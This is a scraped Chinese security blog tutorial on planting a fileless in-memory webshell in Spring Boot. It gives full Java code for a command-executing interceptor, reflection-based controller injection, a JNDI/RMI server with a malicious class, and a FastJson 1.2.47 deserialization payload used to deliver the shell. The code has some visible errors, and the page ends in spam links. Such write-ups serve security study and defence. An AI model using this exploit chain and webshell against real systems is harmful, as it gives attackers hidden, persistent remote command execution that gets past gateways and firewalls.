<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          深入淺出內(nèi)存馬(二) 之SpringBoot內(nèi)存馬(文末視頻教學(xué))

          共 20364字,需瀏覽 41分鐘

           ·

          2021-08-28 16:50


          0x01 前言

          在上一篇文章中深入淺出內(nèi)存馬(一),我介紹了基于TomcatFilter內(nèi)存馬,不光是Filter 還有listenerservletcontroller 等不同形式的內(nèi)存馬。如今企業(yè)開發(fā)過程中,大部分使用的都是spring系列的框架進(jìn)行開發(fā),特別是SpringBoot,現(xiàn)在基本是企業(yè)開發(fā)的標(biāo)配。所以探討Spring系列下的內(nèi)存馬就顯得非常必要了。

          今天我們就來研究研究Spring Boot下的內(nèi)存馬實(shí)現(xiàn)。

          0x02 需求

          隨著微服務(wù)部署技術(shù)的迭代演進(jìn),大型業(yè)務(wù)系統(tǒng)在到達(dá)真正的應(yīng)用服務(wù)器的時候,會經(jīng)過一些系列的網(wǎng)關(guān),復(fù)雜均衡,防火墻。所以如果你新建的shell路由不在這些網(wǎng)關(guān)的白名單中,那么就很有可能無法訪問到,在到達(dá)應(yīng)用服務(wù)器之前就會被丟棄,我們該如何解決這個問題?

          所以,在注入內(nèi)存馬的時候,就盡量不要用新建的路由,或者shell地址。最好是在訪問正常的業(yè)務(wù)地址之前,就能執(zhí)行我們的代碼。

          根據(jù)這個文章里面的說法基于內(nèi)存 Webshell 的無文件攻擊技術(shù)研究

          在經(jīng)過一番文檔查閱和源碼閱讀后,發(fā)現(xiàn)可能有不止一種方法可以達(dá)到以上效果。其中通用的技術(shù)點(diǎn)主要有以下幾個:

          1. 在不使用注解和修改配置文件的情況下,使用純 java 代碼來獲得當(dāng)前代碼運(yùn)行時的上下文環(huán)境;
          2. 在不使用注解和修改配置文件的情況下,使用純 java 代碼在上下文環(huán)境中手動注冊一個 controller;
          3. controller 中寫入 Webshell 邏輯,達(dá)到和 Webshell 的 URL 進(jìn)行交互回顯的效果;

          0x03 SpringBoot的生命周期

          為了滿足上面的需求,我們需要了解SpringBoot的生命周期,我們需要研究的是:一個請求到到應(yīng)用層之前,需要經(jīng)過那幾個部分?是如何一步一步到到我們的Controller的?

          我們用IDEA來搭建一個SpingBoot2 的環(huán)境

          訪問地址:

          我們還是把斷點(diǎn)打在org.apache.catalina.core.ApplicationFilterChain中的 internalDoFilter方法中

          可以看到整個執(zhí)行流程

          這部分在上一篇文章中已經(jīng)詳細(xì)描述過,這里不在贅述。

          但是這里不同的是在經(jīng)過 Filter 層面處理后,就會進(jìn)入熟悉的 spring-webmvc 組件 org.springframework.web.servlet.DispatcherServlet 類的 doDispatch 方法中。

          跟進(jìn)去這個方法

          可以看到是遍歷this.handlerMappings 這個迭代器中的mappergetHandler 方法處理Http中的request請求。

          繼續(xù)追蹤,最終會調(diào)用到org.springframework.web.servlet.handler.AbstractHandlerMapping 類的 getHandler 方法,并通過 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 類的實(shí)例。

          繼續(xù)跟進(jìn)getHandlerExecutionChain 方法,

             protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
                  HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
                  Iterator var4 = this.adaptedInterceptors.iterator();

                  while(var4.hasNext()) {
                      HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
                      if (interceptor instanceof MappedInterceptor) {
                          MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
                          if (mappedInterceptor.matches(request)) {
                              chain.addInterceptor(mappedInterceptor.getInterceptor());
                          }
                      } else {
                          chain.addInterceptor(interceptor);
                      }
                  }
              //返回的是HandlerExecutonChain,這里包含了所有的攔截器
                  return chain;
              }

          好了,現(xiàn)在我們知道程序在哪里加入的攔截器(interceptor)后,追蹤到這行代碼

          if (!mappedHandler.applyPreHandle(processedRequest, response)) {
              return;
          }

          跟進(jìn)之后發(fā)現(xiàn)interceptor.preHandle(request, response, this.handler) 會遍歷攔截器,并執(zhí)行其preHandle方法。

          如果程序提前在調(diào)用的 Controller 上設(shè)置了 Aspect(切面),那么在正式調(diào)用 Controller 前實(shí)際上會先調(diào)用切面的代碼,一定程度上也起到了 "攔截" 的效果。

          那么總結(jié)一下,一個 request 發(fā)送到 spring 應(yīng)用,大概會經(jīng)過以下幾個層面才會到達(dá)處理業(yè)務(wù)邏輯的 Controller 層:

          HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller

          0x04 攔截器Interceptor 的理論探索

          Interceptor 來攔截所有進(jìn)入 Controller 的 http 請求理論上是可行的,接下來就是實(shí)現(xiàn)從代碼層面動態(tài)注入一個 Interceptor 來達(dá)到 webshell 的效果。

          可以通過繼承 HandlerInterceptorAdapter 類或者HandlerInterceptor 類并重寫其 preHandle 方法實(shí)現(xiàn)攔截。preHandle是請求執(zhí)行前執(zhí)行,preHandle 方法中寫一些攔截的處理,比如下面,當(dāng)請求參數(shù)中帶 id 時進(jìn)行攔截,并寫入字符串 InterceptorTest OK! 到 response。

          0x0401 模擬真實(shí)業(yè)務(wù)

          真實(shí)業(yè)務(wù),這里模擬一個登錄場景,登錄成功返回login success。

          package com.evalshell.springboot.web;

          import com.evalshell.springboot.model.User;
          import org.springframework.beans.factory.annotation.Autowired;
          import org.springframework.stereotype.Controller;
          import org.springframework.web.bind.annotation.RequestMapping;
          import org.springframework.web.bind.annotation.ResponseBody;

          import javax.servlet.http.HttpServletRequest;

          @Controller
          @RequestMapping(value = "/user")
          public class UserCrotroller {

              @RequestMapping(value = "/login")
              public @ResponseBody Object login(HttpServletRequest request){
                //簡單模擬登錄成功
                //實(shí)體類User 我就不贅述了,就是有2個屬性。并實(shí)現(xiàn)getter和setter 構(gòu)造器方法
                  User user = new User();
                  user.setAge(18);
                  user.setName("jack");
                  request.getSession().setAttribute("user", user);
                  return "login success";
              }
          }

          0x0402 編寫自定義的Interceptor


          package com.evalshell.springboot.interceptor;

          import org.springframework.web.servlet.HandlerInterceptor;
          import org.springframework.web.servlet.ModelAndView;

          import javax.servlet.http.HttpServletRequest;
          import javax.servlet.http.HttpServletResponse;

          public class VulInterceptor implements HandlerInterceptor {
              @Override
              public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
                  String code = request.getParameter("code");
                  if(code != null){
                      try {
                          java.io.PrintWriter writer = response.getWriter();
                          ProcessBuilder p;
                          if(System.getProperty("os.name").toLowerCase().contains("win")){
                              p = new ProcessBuilder(new String[]{"cmd.exe""/c", code});
                          }else{
                              System.out.println(code);
                              p = new ProcessBuilder(new String[]{"/bin/bash""-c", code});
                          }
                          builder.redirectErrorStream(true);
                          Process p = builder.start();
                          BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
                          String result = r.readLine();
                          System.out.println(result);
                          writer.println(result);
                          writer.flush();
                          writer.close();
                      }catch (Exception e){
                      }
                      return false;
                  }
                  return true;
              }

              @Override
              public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
                  HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
              }

              @Override
              public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
                  HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
              }
          }

          0x0403 注冊攔截器

          實(shí)現(xiàn)攔截器后還需要將攔截器注冊到spring容器中,可以通過implements WebMvcConfigurer,覆蓋其addInterceptors(InterceptorRegistry registry)方法

          package com.evalshell.springboot.config;

          import com.evalshell.springboot.interceptor.VulInterceptor;
          import org.springframework.context.annotation.Configuration;
          import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
          import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

          @Configuration
          public class InterceptorConfig implements WebMvcConfigurer {
              @Override
              public void addInterceptors(InterceptorRegistry registry) {
                //這里是配置需要攔截的路由
                  String[] VulPathPatterns = {"/user/login"};

                  registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
              }
          }

          可以看到達(dá)到的效果是訪問正常路由,不會影響正常業(yè)務(wù)。如果是帶有code的參數(shù)會執(zhí)行code里面的代碼,從而突破網(wǎng)關(guān)的限制。

          那么我們現(xiàn)在已經(jīng)明白了如何在springboot中進(jìn)行攔截,并執(zhí)行我們的內(nèi)存馬,但是還是有一個問題,如何注入我們的內(nèi)存馬?

          在這里根據(jù)landgrey大佬的思路:

          spring boot 初始化過程中會往 org.springframework.context.support.LiveBeansView 類的 applicationContexts 屬性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 類的對象。bean 實(shí)例名字是 requestMappingHandlerMapping 或者比較老版本的 DefaultAnnotationHandlerMapping 。那么獲取 adaptedInterceptors 屬性值就比較簡單了:

          org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
          java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
          field.setAccessible(true);
          java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

          我總結(jié)下就是:

          • 首先獲取應(yīng)用的上下文環(huán)境,也就是ApplicationContext
          • 然后從 ApplicationContext 中獲取 AbstractHandlerMapping 實(shí)例(用于反射)
          • 反射獲取 AbstractHandlerMapping類的 adaptedInterceptors字段
          • 通過 adaptedInterceptors注冊攔截器

          0x05  實(shí)戰(zhàn)

          為了方便搭建環(huán)境,我們采用FastJson 1.2.47的RCE來創(chuàng)造反序列化漏洞利用點(diǎn),我們在pom.xml中配置好我們的依賴,

           <dependencies>
              <!-- 配置fastjson -->
            <dependency>
             <groupId>com.alibaba</groupId>
             <artifactId>fastjson</artifactId>
             <version>1.2.47</version>
            </dependency>
                  <!-- 配置springboot2 ,小編使用的是2.5.3的版本-->
              <dependency>
             <groupId>org.springframework.boot</groupId>
             <artifactId>spring-boot-starter-web</artifactId>
            </dependency>
           </dependencies>

          手動創(chuàng)建一個FastJson的利用點(diǎn),因?yàn)樵?nbsp;JDK 18u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認(rèn)值被調(diào)整為false,為了演示,我這里是用了JDK 18u102。

          @Controller
          public class VulController {

              @RequestMapping(value = "/unserializer")
              @ResponseBody
              public String unserializer(@RequestParam String code){
                  JSON.parse(code);
                  return "unserializer";
              }
          }

          創(chuàng)建RMI服務(wù)器

          package com.evalshell.server;

          import com.sun.jndi.rmi.registry.ReferenceWrapper;
          import javax.naming.Reference;
          import java.rmi.registry.LocateRegistry;
          import java.rmi.registry.Registry;

          public class JNDIServer {
              public static void main(String[] args) throws Exception {
                  Registry registry = LocateRegistry.createRegistry(1099);
                  Reference reference = new Reference("TouchFile",
                          "com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
                  ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
                  registry.bind("Exploit", referenceWrapper);
              }
          }

          創(chuàng)建惡意代碼

          package com.evalshell.server;
          import java.lang.Runtime;
          import java.lang.Process;

          public class TouchFile {
              static {
                  try {
                      Runtime rt = Runtime.getRuntime();
                      String[] commands = {"open""/System/Applications/Calculator.app"};
                      Process pc = rt.exec(commands);
                      pc.waitFor();
                  } catch (Exception e) {
                      // do nothing
                  }
              }
          }

          啟動JNDIServer,端口啟動在了1099

          在TouchFile的編譯后的類路徑下,開啟web服務(wù),提供惡意類文件的http下載服務(wù),這個端口必須和上面的JNDIServer中配置的一致。

          我們使用FastJson的Payload進(jìn)行攻擊

          {
              "a":{
                  "@type":"java.lang.Class",
                  "val":"com.sun.rowset.JdbcRowSetImpl"
              },
              "b":{
                  "@type":"com.sun.rowset.JdbcRowSetImpl",
                  "dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
                  "autoCommit":true
              }
          }

          用postman請求,攻擊成功的話,就會彈出計(jì)算器,表示可以執(zhí)行任意命令。

          好的,上述已經(jīng)搭建起一個Fastjson的漏洞環(huán)境。

          使用上述方法編寫攔截器內(nèi)存馬:

          package com.evalshell.server;
          import org.springframework.web.context.WebApplicationContext;
          import org.springframework.web.context.request.RequestContextHolder;
          import org.springframework.web.context.request.ServletRequestAttributes;
          import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
          import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
          import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
          import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
          import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

          import javax.servlet.http.HttpServletRequest;
          import javax.servlet.http.HttpServletResponse;
          import java.io.IOException;
          import java.lang.reflect.InvocationTargetException;
          import java.lang.reflect.Method;
          public class Evil {
              public Evil() throws Exception{
                  // 關(guān)于獲取Context的方式有多種
                  WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                          currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);
                  RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
                  Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
                  method.setAccessible(true);
                  // 通過反射獲得該類的test方法
                  Method method2 = Evil.class.getMethod("test");
                  // 定義該controller的path
                  PatternsRequestCondition url = new PatternsRequestCondition("/good");
                  // 定義允許訪問的HTTP方法
                  RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
                  // 構(gòu)造注冊信息
                  RequestMappingInfo info = new RequestMappingInfo(url, ms, nullnullnullnullnull);
                  // 創(chuàng)建用于處理請求的對象,避免無限循環(huán)使用另一個構(gòu)造方法
                  Evil injectToController = new Evil("aaa");
                  // 將該controller注冊到Spring容器
                  mappingHandlerMapping.registerMapping(info, injectToController, method2);
              }

              private Evil(String aaa) {
              }

              public void test() throws IOException {
                  // 獲取請求
                  HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
                  // 獲取請求的參數(shù)cmd并執(zhí)行
                  // 類似于PHP的system($_GET["cmd"])
                  Runtime.getRuntime().exec(request.getParameter("cmd"));
              }

          }

          同時修改JNDIServer類中的代碼

          Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/"); 替換成 Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");

          最后演示一下,使用fastjson RCE進(jìn)行攻擊并動態(tài)寫入我們的內(nèi)存馬

          至此,我們已經(jīng)完成SpringBoot下的無文件內(nèi)存馬的實(shí)現(xiàn)!

          0x06 參考

          https://landgrey.me/blog/19/

          https://www.anquanke.com/post/id/198886#h2-0

          https://evalshell.com/

          瀏覽 182
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  特黄色视频| 亚洲精品高清无码视频 | 午夜精品尤物福利视频 | 亚洲色图欧美另类 | 75大香蕉 |